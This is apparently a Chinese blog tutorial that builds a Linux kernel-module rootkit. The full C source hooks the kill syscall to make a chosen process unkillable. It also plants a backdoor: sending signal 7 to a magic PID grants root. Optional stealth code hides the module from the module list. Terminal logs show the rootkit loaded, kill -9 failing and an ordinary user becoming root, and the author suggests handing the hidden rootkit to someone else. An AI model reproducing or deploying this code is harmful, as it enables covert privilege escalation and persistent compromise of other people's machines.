......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,
曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,
SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.
作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:
我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,
随便切换个uid都是小意思.
废话不多,上代码
#include <asm/unistd.h> #include <linux/highmem.h> #include <asm/current.h> #include <linux/sched.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <linux/slab.h> #include <linux/list.h> #include <linux/dirent.h> #include <linux/string.h> #include <linux/fdtable.h> #include <linux/moduleparam.h> MODULE_AUTHOR("[email protected]"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("rootkit_sample"); #define ROOT_PID 7311 #define ROOT_SIG 7 static int lpid = 1137; module_param(lpid, int, 0); //#define STEALTH_MODE 1 unsigned long *sys_call_table = (unsigned long*) 0xc12efee0; static unsigned int ocr0; unsigned int clear_cr0(){ unsigned int cr0 = read_cr0(); write_cr0(cr0 & 0xfffeffff); return cr0; } typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig); kill_ptr orig_kill; asmlinkage int hacked_kill(pid_t pid, int sig){ int actual_result; //root-access if (pid == ROOT_PID && sig == ROOT_SIG){ struct cred *cred; cred = (struct cred *)__task_cred(current); cred->uid = 0; cred->gid = 0; cred->suid = 0; cred->euid = 0; cred->euid = 0; cred->egid = 0; cred->fsuid = 0; cred->fsgid = 0; return 0; }else if(pid == lpid){ printk(KERN_INFO "You cannot kill me! by process %d", lpid); return 0; } actual_result = (*orig_kill)(pid, sig); return actual_result; } static int rootkit_in(void){ #ifdef STEALTH_MODE struct module *self; #endif ocr0 = clear_cr0(); orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking sys_call_table[__NR_kill] = (unsigned long) hacked_kill; write_cr0(ocr0); #ifdef STEALTH_MODE mutex_lock(&module_mutex); if((self = find_module("test"))) list_del(&self->list); mutex_unlock(&module_mutex); #endif printk(KERN_INFO "Loading rookit\n"); return 0; } static int rootkit_out(void){ ocr0 = clear_cr0(); sys_call_table[__NR_kill] = (unsigned long) orig_kill; write_cr0(ocr0); printk(KERN_INFO "Romove rookit\n"); return 0; } module_init(rootkit_in); module_exit(rootkit_out);
需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址
cat /boot/System.map-`uname -r` | grep sys_call
unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;
基本的使用就是
1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165
liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137 liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137 liet 13165 0.0 0.0 1844 280 ? S 16:47 0:00 ./l137 liet 13224 0.0 0.0 3484 776 pts/1 S+ 16:48 0:00 grep l137 liet@kali:~/code/c/study/socket/http/bbs_sign$
2.加载rootkit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=13165 liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail [ 407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use) [ 415.515641] device eth0 entered promiscuous mode [ 813.787144] Loading rookit [ 829.538917] Now set cr0 backed ,cr0: 8005003b [ 829.538921] Romove rookit [ 2231.927831] Loading rookit [ 2388.490838] Now set cr0 backed ,cr0: 8005003b [ 2388.490842] Romove rookit [ 2503.793892] test: `13165' invalid for parameter `pid' [ 2508.832296] Loading rookit liet@kali:~/code/c/study/virus/toykit/toykit_or/test$
ok, rootkit loaded!!!!
3.rootkit操作
1.杀不死的13165进程
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -9 13165 liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137 liet 13165 0.0 0.0 1844 280 ? S 16:47 0:00 ./l137 liet 17537 0.0 0.0 3488 776 pts/1 S+ 16:52 0:00 grep l137
2.root后门
liet@kali:~/code/c/study/socket/http/bbs_sign$ id uid=1000(liet) gid=1000(liet) groups=1000(liet),20(dialout),27(sudo) liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -7 7311 liet@kali:~/code/c/study/socket/http/bbs_sign$ id uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),1000(liet) liet@kali:~/code/c/study/socket/http/bbs_sign$
你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........